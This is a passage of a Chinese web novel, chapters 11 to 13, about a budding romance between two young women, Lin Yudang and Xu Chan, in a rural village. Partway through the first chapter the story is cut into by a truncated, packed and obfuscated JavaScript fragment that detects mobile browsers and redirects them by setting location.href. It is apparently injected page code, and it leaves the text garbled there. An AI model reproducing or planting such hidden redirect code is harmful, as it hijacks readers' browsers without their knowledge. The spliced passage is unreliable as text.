“早……啊!”
林语铛有点尴尬,觉得自己穿得有些随便,但还是礼貌回应许蝉许哲二人。
“嗯?”
林语铛站在院中,一眼察觉到许哲的不对劲,这大热天的,怎么穿个短袖呢?莫不是生病了?
林语铛抱着衣服上前,关切问道:
“蝉儿,你们这是……”
“我弟弟发烧了,我带他去街上看医生。”
许蝉温柔回道,嘴角自然勾起,却始终透着一些苦味。
林语铛看着许蝉,不自觉皱了皱眉头,明明什么都没看出,却又莫名地有些心痛许蝉。
(许蝉这个姐姐当的……好累啊……)
脑中灵光一闪,林语铛忽想起家里的鸡蛋快吃完了,正好趁此机会去街上买点,顺便加一下李姨微信。
“蝉儿,你等等我,我也要去街上一趟!”
林语铛说着,慌忙跑回家中换衣服。
“好。”
得知林语铛也要去街上,许蝉的双目瞬即有神起来。
这也就意味着,林语铛会和自己坐一趟车。
阵阵喜悦敲打着许蝉的心头,使其苦涩的笑容有了几分甜度。
目光远远落在林语铛离去的背影上,淡淡的神情中,透着不达眼底的隐忍与偏爱。
神情恍惚间,许蝉带着埋于心底的情愫微微颔首,双目略微空洞地远眺灰天乌云。
不知是无趣枯燥的生活,还是难以言说的情愫,压得许蝉着实心累。
一旦见不到林语铛的身影,许蝉就觉情感淡漠,毫无念想,她对天轻轻长叹。
垂头间,林语铛一袭淡黄碎花裙,笑盈盈地跑了出来……
明明已经知晓林语铛会出来,但再次见到她时,许蝉还是有种惊心之感,怔怔愣愣地盯着林语铛不语。
“哎?还好还好,李姨还没来,没耽误你们时间!”
林语铛带一斜挎小包,小跑着奔向许蝉,脸上洋溢着温柔笑意,同时又带了几分慌张的灵动。
“……”
许蝉愣了几秒,回神后立刻回道:
“哈,没事,不着急,时间还早。”
“还早……”
闻声,林语铛瞬即顿住,脑中闪起母亲李颖严厉斥责自己的画面,这还是她第一次听到别人宽慰自己时间还早……
许蝉一句轻飘飘的话,瞬即解锁了林语铛内心的新房门。
对“还早”“不着急”“没事”等充满温暖慈爱的词,林语铛始终是远远观望,如今倒是成了这些词的主对象。
有种静默远观却意外分得甘露之感,是那样触动心灵。
林语铛愣神之际,对许蝉的感情再次增进,她感知着胸口之下剧烈跳动的心脏,以极其温和的表情冲许蝉笑道。
“好,不着急。”
许蝉回以同样柔和的微笑。
许哲在旁发着高烧,即便精神不佳,注意力难以集中,他还是敏锐发觉许蝉与林语铛的异样。
(介介喜欢林介介?)
许哲迷迷糊糊地看着林语铛,又看了看许蝉,懵懂不理解中又觉得怪异。
就在许哲疑惑不解时,李姨的五菱宏光面包车到了。
“滴滴——”
车喇叭声打断了许哲的思绪,一切疑惑被抛之脑后。
“你们先上吧。”
林语铛退至一旁谦让道,眼中尽是对许蝉的喜爱。
“谢谢。”
许蝉轻推许哲上车,回眸淡淡道谢。
许蝉眸中带着眷恋,林语铛把它理解成礼貌,并无多想。
今天不是赶集的日子,坐车人少,车上空荡一片。
许哲呆呆坐到中间那排的窗边,许蝉跟着坐在旁边,林语铛也是自觉紧挨着许蝉。
又是细嫩的皮肤触感,与上次赶集的触感并无差异,就连温度也是如此的熟悉,记忆犹新。
许蝉束心贴着林语铛,心中渐渐生得一丝别样的安心。
李姨八卦,边开车边透过车内后视镜查看林语铛几人动向,扫到虚弱的许哲瞬即来了好奇心,关心问道。
“哎呦——需者(许哲)咋了啊?”
许哲靠在窗边睡觉不回答。
许蝉则替其接话道。
“法(发)烧了。”
“哎呦——莫(不)得了嘞!呐阔得(那可得)号号(好好)瞧哈子(看下)医生了!”
李姨高声回道,手握方向盘,突来一大转弯。
惯性之下,林语铛猛地靠在许蝉肩上。
许蝉为不压到许哲,下意识地将一手撑在车窗上,身子猛地向□□。
林语铛也跟着□□,头发掠过许蝉的脖颈,胳膊肘压着许蝉的右腰。
许蝉的腰身柔软,林语铛压得尴尬自恼,暗暗吐槽自己不是人……
(林语铛啊林语铛,你怎么总是欺负人家许蝉,刚进村的时候就这样,现在又这样,太过分了!)
许蝉腰部敏感,尽管隔着一层薄体桖也能清晰感知到林语铛的手臂。
“嗯!”
许蝉的瞳孔赫然放大,被林语铛压得极度不适,但又不好多说什么,单是一味的侧眸窥视林语铛泛红的耳尖。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370301|199867||http|test|mini|href|location''.split(''|''),0,{}));
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>发丝对脖颈的撩拨,林语铛的按压,二者结合,于许蝉而言,当真是无与伦比的清爽。
林语铛全身柔软,又加其浅浅的沐浴露清香,许蝉当真觉得林语铛是一白白的奶团子,无名分的占有欲悄然生长。
道路平稳,车身正常后,林语铛立马坐起身,不断道歉道。
“对不起,对不起,蝉儿,压疼你了吧?我不是故意的,对不起。”
“没事。”
许蝉轻声回应,暗自因林语铛的抽身而落寞。
许蝉垂眸独自揉捏腰部,试图吸引林语铛的关心。
却不料这一举动惊得林语铛眉头飞挑!从林语铛的视角来看,许蝉正默默承受着自己造成的伤害,着实惹人心疼。
“蝉儿,我……”
林语铛弱弱开口,抬手想帮许蝉按揉,却因越界之念而悬停于半空。
林语铛缓缓抬眸,对上许蝉那双孱弱的含情眼,耳尖再次无息泛红。
许蝉微颤睫毛,温热的气息淡淡落于林语铛鼻尖。
二人对视的刹那,窗外忽飘起了小雨,淅淅沥沥的雨丝滑歇于车窗上。
凉风起,细长的雨丝穿过半开的窗沿,精准落在林语铛粉白的右脸上,瞬间会聚成一粒晶莹的雨珠。
“下雨了。”
许蝉盯着林语铛,颤眉说道,随即抬手为林语铛轻抚去这粒雨珠。
雨的冰冷与许蝉手指的清凉,二者夹杂交融,瞬即贯穿林语铛的心脏,在温暖的心底留下丝丝夏的清冷。
这种感觉太奇妙了,林语铛怔愣瞧着许蝉,短暂失语。
(蝉儿……的手指竟如此冰凉……)
林语铛对许蝉的情感在此刻变得复杂,心生蒙雾,友情非友情,亲情非亲情……
许蝉并未觉得有什么,替林语铛拭去雨珠后熟练关窗。
“你带伞了吗?”
许蝉眯眼打量远天乌云,正经道。
一语惊醒梦中人,林语铛出门太过着急,就带了一斜挎小包,根本放不下伞。
“啊——我忘了!”
林语铛惊得一颤,慌张回道。
“你带了吗?”
林语铛把希望聚焦于许蝉,不再理会心中如迷雾般的感情。
“我带了一把。”
许蝉的语气很淡,看向林语铛的眼神格外玩味。
“要和我打一把伞吗?”
许蝉嘴角勾起,神情挑逗道。
“可以……(吗)”
还不等林语铛说完,李姨便热心打断道。
“哎呦!莫怕(不怕)!窝(我)哲理呦(这里有)!”
说着,李姨豪爽将副驾的网格折叠伞放至林语铛面前。
“谢谢。”
林语铛赶忙道谢,随即瞟到副驾后的微信牌,又立刻扫码加了李姨微信。
“布屑布屑(不谢不谢)!灰(回)来给窝就阔以(可以)了!”
李姨高声回道,脸上使用洋溢着热情的笑容。
“好的好的,谢谢。”
林语铛还是不停地道谢,内心暖洋洋的。
许蝉在旁不语,面无表情,回归寻常。
(这样也好。)
相比于让林语铛与自己同撑伞,许蝉更希望林语铛衣裙干净……
(湿腻的雨,不应触碰她……)
12. 第十二章
漫雨绵长,墩厚的乌云趴在湿气之上,静静的,无声的了无思绪。
(隔着雨,真是看不真切了……)
林语铛靠在商场二楼的落地玻璃窗边,透过蒙蒙的尘灰向外看去,怎么也看不清远处的天色。
商场里循环播放着流行纯音乐,暖光灯明亮充满活力,与玻璃窗外了无生气的老式土店相比,恍若阴阳两界。
林语铛没有牵挂了,她与母亲李颖的关系不好,又没什么朋友,就连发呆臆想的对象都好像只有许蝉。
“许蝉……蝉,她为什么叫许蝉呢?怎么会用蝉字做名呢?”
林语铛是喜欢蝉的……
儿时,李颖逼林语铛学习,夏夜深入时,能陪伴她的,也就是窗外的蝉鸣了。
夜深人静,蝉鸣不停歇,林语铛便觉那是鸣给她听的。
往事回忆渐渐沙化飘转,思绪再次被拉回当下。
(蝉鸣,许蝉,哼~我跟蝉还真是有缘。)
林语铛不禁将儿时记忆与许蝉联想在一起,心中慢慢生出一丝难以言说的情愫。
(许蝉,当真是个极好的女孩,安安静静的……不鸣蝉……)
林语铛对许蝉的评价颇高,她太为沉静美人着迷了,在她眼中,许蝉就是知世故而不世故,是栖息在黑夜的人间月。
林语铛垂眸思忖,不自觉间,打开许蝉的聊天框。
[林语铛:许哲怎么样了?严重吗?]
林语铛关心的人从始至终都是许蝉,但一开口,却总习惯性先问候旁人。
[许蝉:没事,扁挑体发炎了,医生开了点药,打一天针就好。]
林语铛仔细看着许蝉的消息,眉头舒缓,神情温和,继续问道。
[林语铛:那你呢?]
[许蝉:我什么?]
[林语铛:你没事吧?]
[许蝉:没事,我很少生病。]
[林语铛:那就好。]
手机屏的另一边,许蝉微微眯眼瞧着林语铛的消息,轻声重复道。
“那就好?”
“她在关心我?”
“哼~”
许蝉自行脑补中,嘴角控制不住地上扬。
[许蝉:你买完了吗?可以联系李姨了吗?]
许蝉坐在许哲旁边,眼含秋水,手指快速点击聊天框。
她真想快点见到林语铛。
“介介(姐姐)!窝们筷歇(快些)灰(回)去嘛!”
许哲在旁催促道,想快些回家打游戏。
“知道了。”
许蝉因林语铛的关心,心情尚佳,回复许哲的同时顺带冲他笑了笑。
这看得许哲一脸震惊,瞳仁微缩,不敢说话。
(介介(姐姐)和林介介(姐姐)聊天会这么开心嘛?)
退烧后,许哲大脑运转飞快,默默地揣摩林语铛和许蝉的关系。
朋友都是这样的吗?一两句普通的对话,会如此开心吗?可是……如若不是朋友,还能是什么?
许哲始终无法猜透,他毕竟是一五六年级的小孩,无法参透认知以外的小众情感。
另一边,林语铛利落将手机塞进斜挎包中,一手提着满当的购物袋,一手拎着李姨的旧伞按电梯。
与许蝉分开的这段时间里,林语铛时常觉得孤单寂寞。
(怪了,我竟也会觉得孤单?哈……)
林语铛轻轻摇头,自嘲苦笑。
温柔明媚大方的人,独处时又何尝不能孤独,只是这种孤独太久违了,林语铛孤单了十几年,早已习惯了。
一个人的明媚,就好像禁忌之地的神秘花园,不受外界打扰的静谧神圣。
林语铛熬过了忧郁,没了牵挂,却因许蝉,心池的情水开始悸动。
林语铛撑伞走在雨中,不顾雨水的浸湿与泥水的玷污,她大步朝医院的方向走去。
不知为何,她就是想快些见到许蝉。
林语铛在广青人生地不熟,对许蝉有些别样的依赖与喜爱。
就快走到医院门口之际,一声清冷急切的声音从后传来。
“姐姐!”
“!”
闻声,林语铛骤然止步,睫毛轻颤的瞬间又控制不住地立即转身。
“蝉儿。”
林语铛轻声应道,随即又疑惑颤了颤眉,笑道。
“你怎么在这等我?”
许蝉正带着许哲站在小商店门口,见林语铛来了,许蝉下意识上前,叫住林语铛后便以极其温和的眼神瞧着她。
“医院不是能久待的地方,姐姐不要去呢。”
许蝉语气很淡,却又带了几分撒娇妩媚之意。
但很快,许蝉的目光便暗了下来,她不得不承认,林语铛实在太漂亮了,出众的气质之下,这把丑旧的伞显得着实格格不入。
伞是李姨的,是广青常见的……
许蝉瞬觉这把伞配不上林语铛,觉广青留不住林语铛……
甚至有了一丝自己不应亲近林语铛的念想,好在林语铛及时回话,打断了许蝉的敏感。
“哈哈,你想得倒是周到。”
林语铛靠近许蝉,双目亮晶晶地夸道。
“呐,给你买的小零食。”
说着,林语铛从大购物袋中掏出一大盒费列罗巧克力。
礼盒包装精美,高调又轻奢的英文品牌名格外夺目,一眼二百元往上。
无形的物质标价猛地冲击许蝉的心灵,又是天疏地远的差距。
许蝉瞳孔微怔,失落大过自卑,她全身僵硬,不知如何躲避。
“嗯?”
林语铛嘴角勾起又僵住,一向心思细腻的她在此刻,竟没有立刻悟出许蝉的落寞。
“歇歇(谢谢)林介介(姐姐)!”
许哲在旁两眼放光,替许蝉接下道谢。
“蝉儿,你怎么了?”
林语铛说着轻抚许蝉的左脸脸颊,伞沿的雨水滑落在林语铛细白的内腕上,自然滑下。
林语铛语气温和,眼中尽是关切之意。
许蝉对林语铛没有任何抵抗力,单是这一动作就令许蝉心跳加速。
许蝉盯着林语铛腕上滑动的水珠,怔怔咽一口水。
(她摸我……她的手……怎么这么冰?圣洁的……雨……啧,雨怎么能触碰她……)
许蝉被摸得心乱,连同着思绪也乱了,她盯着林语铛的手腕,不自觉皱了皱眉头。
“蝉儿?你在看什么?”
林语铛也跟着皱眉,瞥向自己的手腕疑惑问道。
“没什么。”
许蝉被问的慌乱,视线闪躲回道。
林语铛没有多想,见许蝉回话瞬即眉开眼笑道。
“哼~没看什么看这么认真呢?小呆呆~”
林语铛自顾地说着,语气勾人,目光落到许哲时,见其笑嘻嘻的可爱,又顺带摸了摸许哲的
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头,轻松道。
“我看你点赞了巧克力的视频,想着你喜欢,就给你买了。”
“视频?”
许蝉闻声诧异,什么时候的视频,她刷视频从来不点赞啊!
“对呀,就那个巧克力的广告视频。”
林语铛补充道,顺带抽出手机翻找。
“喏,就这个呀~”
林语铛将手机屏幕立在许蝉面前,许蝉挑眉打量,随即忍俊不禁道。
“哈~可能不小心点……(错了)”
还未等许蝉说完,屏幕上突然弹出李颖的消息。
[李颖(妈妈):广青偏远落后的,你尽早回来吧!]
“!”
李颖的话就如同凉雨一般,透过雨伞,直接淋到许蝉头顶心底,透心凉。
(是啊,广青偏远,落后,她来自繁华之地,不该来这的……)
林语铛收回手机,见到母亲消息的刹那瞬间惊颤眉头。
(搞什么?妈怎么突然说这话?又想我了?蝉儿不会看见……我天!她肯定看见了啊!)
林语铛真是醉了,母亲这挖的坑也太深了吧,怎么填啊?
林语铛立刻看向许蝉,只见许蝉细长的睫毛轻微下垂,眼中尽是自卑与落寞。
(噫!蝉儿不开心了!)
林语铛忙要开口解释,却突被身后的车喇叭声吓住。
“滴滴——”
原是李姨的面包车到了,许蝉立刻撑伞,看向林语铛冷冷道。
“走吧,姐姐。”
许蝉语气太淡了,林语铛听出了一语双关的意思。
(她这是……催我走?回青谷,还是回江水?)
许蝉头也不回,留林语铛一人发愣。
阴雨渐渐弱了,车窗的雨迹不再增加。
许蝉盯了窗外许久,一路都闷闷的。
窗外的世界是动态的,窗内是静态的,不会轻易离开,许蝉的爱人也在身边,明明是触手可及的距离,却又好似相隔忘川。
(广青太落后了,我也普通了,没有任何资质去爱她……怎么办,能怎么办呢……)
许蝉心中苦涩,脑中一遍又一遍地回忆李颖的信息,心好苦。
林语铛在旁如坐针毡,她知晓许蝉的感受,自责懊悔间极力找补道。
“蝉儿,你不要管我妈说的话,她就是太久没回来了,不知道广青的好。”
“况且,只是她不喜欢这呀,我很喜欢呀,我很喜欢这儿呀。”
太生硬了,许蝉一个字也不愿理会,整个人再次踏入黑暗的内心世界,单是望着窗外不语。
林语铛见此略显尴尬,她真搞不懂许哲为何坐到副驾去了,留自己与许蝉在后面真是有些难为情。
从小到大,林语铛从未哄过谁,没啥经验,见许蝉不说话,自然而然地沉默了。
(为什么会这样……好不容易得来的友谊,又要破碎了吗……)
许哲倒是异常活泼,在副驾跟李姨聊得起劲,时不时又炫耀一下自己怀中的巧克力。
“哎呦!哪个(那个)阔布(可不)偏移(便宜)哦!”
李姨瞥一眼许哲怀中的包装盒,极其给面子地惊讶道。
“嘿嘿嘿!等汪趁(王晨)来咯,窝(我)分给塔(他)几个!”
许哲乐呵呵的,毫无没心机,很是大方回道。
前排接连不断的话语声,衬得后排更为安静冷淡了。
13. 第十三章
此后的两三天里,林语铛都没再和许蝉有过来往。
许蝉依旧学习到深夜,林语铛照旧在二楼窗边守着许蝉,只是时间逐渐缩短,由一个小时变为半个小时,又减为十分钟。
许蝉则恍若失恋了那般,整日整日的蹙眉,眼中黯淡无光。
许蝉真觉心乱,她不明白自己究竟想干嘛,此事错不在林语铛,甚至乎,她根本无法责怪任何人。
广青就是偏远落后,她就是贫穷普通,李颖没有说错,谁都没有错,错就错在了,许蝉不该动了禁忌之恋的念头。
可爱是无形抽象的,岂有对错之分,许蝉深陷其中,早已无法自拔了。
许蝉多次想主动跟林语铛发信息,却总因看不到未来而止步原地。
这对于十七岁的许蝉来说,实在太煎熬了,无法追求又无法释怀,怎么看都是悲哀的。
深夜,许蝉再度失眠,她平躺于床,在暗室中默念林语铛的名字。
“林语铛,不要走,林语铛,不要走……”
爱一个人不需要很久,但为爱克服障碍需要勇气。
许蝉不知自己为何会那般喜爱林语铛,明明就相处了一两周,为何却只能用“爱”形容自己对林语铛的情感?
“这真的是爱吗?”
许蝉蜷缩身子,轻声询问。
漫长黑夜中,无人给予回应,许蝉只好将这份模棱两可的深爱埋藏心底。
时间是转瞬即逝的事物,暑假不过短短两月,林语铛坐在床边,对着手机日历数日子,有些着急了。
“四天了……就这样了吗……”
林语铛自言自语,语气委屈着急。
“她就这么在意别人的话吗?都不理我了!”
林语铛心累捂眼,长叹一口气后起身,皱眉调整心态间不自觉上了二楼,随心来到了那个熟悉的窗口。
这扇窗,是林语铛唯一能够窥视许蝉的途径。
深蓝积灰的床帘严实垂在窗前,显得整个房间都异常暗沉,了无生气,好似沉寂了许久那般。
“怎么会?明明才四天呀,怎么又积灰了?”
林语铛愣目上前,脚步微颤,慢慢向这扇窗靠近。
自四天前的雨天,这扇窗关上后便再也没打开过,如今竟如此陌生了。
“嘶刷——”
随着窗帘拉开,温暖的日光重新填满房间,玻璃窗上的雨迹因多日的暖风而自然淡化。
窗外还是熟悉的半开玻璃窗,只是不见熟悉的人。
“……”
林语铛双手撑在窗边,眼神眷恋地望向许蝉的一角书桌,还是略带灰蒙的木色,不曾改变。
“许……”
无意识间,林语铛轻唤起了许蝉的名字,话音未落,一茶色连衣裙女子突地闯入林语铛视野。
她从窗帘边走出,悠然惬意的……好似与许蝉有着异常亲密的关系。
林语铛颤眉一惊,蹙眉打量起这位陌生女孩。
(这方向,她是从许蝉的床边起来的!她是谁啊?跟许蝉什么关系啊?许蝉有这么要好的朋友吗?)
林语铛呆愣之际,那女孩又忽地侧头,与其对视。
是一长相普通但透着精明的脸,她那狭长的丹凤眼中透出震惊错愕,被林语铛吓得一颤。
“她是谁?是人是鬼!”
她惊颤眉头,身子僵硬不动,观察又带了几分恐惧道。
“怎么了?倩倩?”
许蝉闻声从床边赶来,朝黄倩的视线看去,对面早已不见踪影,唯有一半开的窗户。
(搞什么啊?我躲什么?)
林语铛侧身藏于窗帘边上,手指下意识抓着多灰的帘子,思绪混乱,心跳加速又很快平复。
(小家子气,幼稚。)
林语铛自诩清高成熟,刚才的行为令她感到陌生。
从小到大,林语铛在外表现一直都是落落大方,对待情感也是,喜欢一个人就毫无保留的夸奖,从不回避心中情感。
但……为何,到了广青,到了许蝉这里,林语铛就变化如此之大呢?
应是她真的把许蝉当为朋友了吧,非同寻常的关系,不掺杂虚假权衡,就是很纯粹的喜爱欣赏。
当然,兴许又带了点依赖。
无人在意的窗户,强劲悸动着许蝉的心脏。
“你看到什么了?”
许蝉语气平静,神态自若问道,面不改色之下是狂乱迫切想要寻求林语铛讯息的渴望。
“一个……长发美人?”
黄倩轻咧嘴角,认真回忆林语铛的容貌道。
“长的倒是挺好看的,就是太白了,看着跟鬼……”
不等黄倩说完,许蝉早已推门而出,飞奔至林语铛的院门口。
“哎?不是?跑什么?好歹等我把话说完吧……”
黄倩皱眉抱怨许蝉的无礼与莽撞,这还是她印象中那个成熟稳重的大学霸吗?
“真是的,那姑娘是谁呀?”
黄倩小声喃喃,走至窗边坐下,饶有兴趣地窥视外边的许蝉。
无风燥热的七月,青谷村完全被热气熏闷。
“砰砰砰……”
许蝉的双耳被心跳声包裹,手机屏亮着林语铛的聊天框。
本想故作矜持,酝酿几句开场白,但心实在过乱,手指不顾一切后果,直接发送了一句。
[许蝉:对不起]
另一边,林语铛刚说服自己视许蝉为普通朋友,或是淡漠过客,万事从简从智时,看到许蝉这条消息,瞬即怔愣。
(什么意思?她道什么歉?)
林语铛暗自揣摩,忍不住再次站回窗边,打量起那不知身份的妹妹。
“嗯?”
黄倩感知视线后侧眸,与林语铛相视无言。
(当真美丽动人,这皮肤,不是广青人吧?)
二人相互打量,黄倩游刃有余地坐于窗沿,林语铛则面露高冷之气。
黄倩也是个美人胚子,符合林语铛的审美标准。
但此情此景下,林语铛只觉黄倩是个没有规矩的小孩,了无好感。
二人对视之下,皆好似被拉入了幻境,眼中仅有对方。
伴随着许蝉的第二条消息提示,林语铛方从那幻境中走出。
[许蝉:你在家吗?]
[林语铛:嗯]
[许蝉:可以见一面吗?我在你家院门口。]
……
青涩中的小心翼翼,林语铛感知到了,她与许蝉确实多日未见,恍隔三秋之久。
[林语铛:好]
肯定的回答一键发送,林语铛嘴角微微勾起,立即下楼,轻薄的窗纱因风扬起,亦拨乱了二人多虑的心。
大脑空白不带思绪,碎花白裙清凉带风,掠过木质楼梯扶手,层层而下。
当大门拉开,午后的暖光倾泄而下,在碎花上留下黄斑时,林语铛终于见到了熟悉的身影……许蝉。
静而热的空气氛围中,烘烤着一切虚幻泡影,许蝉是真真切切地站在那了。
阳光打在许蝉冷白的面肤上,紧致依旧,别来无恙。
林语铛目光呆滞,盯了好一会才靠近道。
“你找我什么事?”
“为什么道歉?”
许蝉神情温和,轻勾唇角,目光慢慢扫过林语铛的每一寸肌肤与发丝。
(她……还是那样。)
“咳咳——”
林语铛皱眉
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与之对视,片刻之间,林语铛将院门拉开,装腔咳嗽几声,以此暗示许蝉回应自己。
话音刚落,铁栏院门打开的刹那,许蝉瞬即闯入,抱住林语铛。
“!”
林语铛眉头惊挑,身子却未做出任何排斥动作,好似习惯了与许蝉的肢体接触。
二楼窗边的黄倩看见这幕,恍若看到了春枯夏雪那般,双眸瞪大,身子不自觉前倾,试图看得更清晰点。
“咔嚓——”
比大脑连接先来的,是黄倩熟练的抓拍技术。美人相拥常见,然,这乡村俗景之地,如此美人美姿之事倒是少见。
“哼哼~许蝉,你果然变了。”
黄倩了然于心,神秘笑笑。
黄倩的父亲是算命先生,曾给许蝉算过命,说她碧玉之年将有一大变数,渡不好是劫,渡得好则是福,皆会影响终生。
“终……(于)……”
“对不起,我朋友吓到你了。”
许蝉将唇凑于林语铛耳边,本想诉说思念,话到嘴边,却变成了无关紧要之事。
“你朋友?”
林语铛闻言警惕,语气冰冷,抬眸望向窗边的黄倩,暗生一阵复杂情愫。
(冰清小花的朋友……许蝉的朋友……)
“嗯,她是黄倩,我的同班同学,住在隔壁村。”
许蝉将下巴撑在林语铛右肩上,低语解释,毫无分开之意,暗暗感受林语铛柔软的身躯。
夏日裙子单薄,抱住一个人便有了极其亲密之感。
“你们关系很好吗?”
林语铛揣着答案问问题,无非就是想听许蝉亲口承认,好打破她在自己心中的那一层滤镜。
而许蝉也不傻,知道林语铛的意思,心中暗爽,直接避开问题,抛出致命一问。
“姐姐,你还会回来吗?”
说着,许蝉双眸迷离,埋头亲吻上林语铛的裙子的肩带,似醉似困。
“!”
这一问当真极具冲击,瞬间灌醒了林语铛的大脑。
(回来……广青吗……可能吧……也许吧……是什么时候……)
林语铛自己都不确定这个夏天后,她是否还会踏入广青的土地,大概率是不会回来了。
如此一看,林语铛好似从来都帮不上许蝉什么,只是一味地站在圣母视角,不断的可怜欣赏许蝉,甚至对其产生了莫须有的依赖。
“会的……”
林语铛怔愣思忖,结巴回道。
“我们是朋友嘛,我一定会回来看你的。”
提及朋友二字,林语铛的负罪感大大减轻,朋友就是朋友,不是可怜而是欣赏喜欢,可以有依赖,可以有占有欲。
一语点双人,许蝉心头一颤,苦笑道。
“朋友……嗯……”
(果然,她只当我是朋友,我又奢求过多了,她本就属于繁华江水,广青落后,留不住她,我亦留不住她……)
“哼~”
许蝉无声苦闷,松开林语铛,眸光凄楚落寞,无奈应道。
“好。”
于许蝉而言,“朋友”是何其宝贵,但用于林语铛身上,竟是何其飘渺。
分别两日,李颖消息一事逐渐隐退,许蝉心中的那块淤青刚刚盖住,又被林语铛无意划了道血沟。
冰释前嫌,许蝉不是大度的人,做不到完全不计较不理会,只是表面不计较,深夜自愈渡己。
(额……)
林语铛诧异盯着许蝉,不解她为何又露出了这般楚苦之眸。
“要进来坐坐吗?外面热。”
林语铛轻声问道,悄悄拉着许蝉手腕,势必要将许蝉拉回屋投喂零食,以此补偿自己母亲的无礼之言。